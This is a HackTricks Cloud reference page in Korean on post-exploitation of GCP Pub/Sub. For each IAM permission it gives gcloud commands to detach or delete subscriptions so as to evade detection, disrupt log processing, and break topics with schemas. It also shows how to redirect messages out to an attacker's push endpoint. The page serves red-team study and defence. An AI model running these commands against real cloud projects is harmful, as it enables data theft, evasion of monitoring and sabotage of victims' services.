GCP - Pub/Sub Post Exploitation
Reading time: 4 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Pub/Sub
Pub/Sub에 대한 자세한 정보는 다음 페이지를 확인하세요:
pubsub.topics.publish
주제에 메시지를 게시합니다. 예상치 못한 데이터를 전송하고 예상치 못한 기능을 트리거하거나 취약점을 악용하는 데 유용합니다:
# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"
pubsub.topics.detachSubscription
메시지를 수신하는 구독을 방지하는 데 유용하며, 아마도 탐지를 피하기 위해서입니다.
gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
pubsub.topics.delete
구독이 메시지를 받지 못하도록 방지하는 데 유용하며, 아마도 탐지를 피하기 위해서입니다.
구독이 연결된 상태에서도 주제를 삭제하는 것이 가능합니다.
gcloud pubsub topics delete <TOPIC NAME>
pubsub.topics.update
이 권한을 사용하여 주제를 방해하기 위해 일부 설정을 업데이트합니다. 예: --clear-schema-settings
, --message-retention-duration
, --message-storage-policy-allowed-regions
, --schema
, --schema-project
, --topic-encryption-key
...
pubsub.topics.setIamPolicy
이전 공격을 수행할 수 있는 권한을 부여합니다.
pubsub.subscriptions.create,
pubsub.topics.attachSubscription
, (pubsub.subscriptions.consume
)
웹 서버에서 모든 메시지를 가져옵니다:
# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>
구독을 생성하고 이를 사용하여 메시지를 가져옵니다:
# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted
pubsub.subscriptions.delete
구독 삭제는 로그 처리 시스템이나 유사한 것을 방해하는 데 유용할 수 있습니다:
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
pubsub.subscriptions.update
이 권한을 사용하여 메시지가 액세스할 수 있는 위치(예: URL, Big Query 테이블, 버킷)에 저장되도록 설정을 업데이트하거나 단순히 방해할 수 있습니다.
gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
pubsub.subscriptions.setIamPolicy
필요한 권한을 부여하여 이전에 언급된 공격을 수행할 수 있습니다.
pubsub.schemas.attach
, pubsub.topics.update
,(pubsub.schemas.create
)
스키마를 주제에 연결하여 메시지가 이를 충족하지 않도록 하여 주제가 중단되게 합니다.
스키마가 없다면 하나를 생성해야 할 수도 있습니다.
{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}
# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json
pubsub.schemas.delete
이것은 스키마를 삭제하는 것처럼 보일 수 있지만, 스키마를 충족하지 않는 메시지를 보낼 수 있습니다. 그러나 스키마가 삭제되므로 실제로는 어떤 메시지도 주제에 들어가지 않습니다. 따라서 이것은 무의미합니다:
gcloud pubsub schemas delete <SCHEMA NAME>
pubsub.schemas.setIamPolicy
필요한 권한을 부여하여 이전에 언급된 공격을 수행할 수 있습니다.
pubsub.snapshots.create
, pubsub.snapshots.seek
이것은 모든 unACKed 메시지의 스냅샷을 생성하고 이를 구독으로 다시 넣습니다. 공격자에게는 그다지 유용하지 않지만 여기에 있습니다:
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.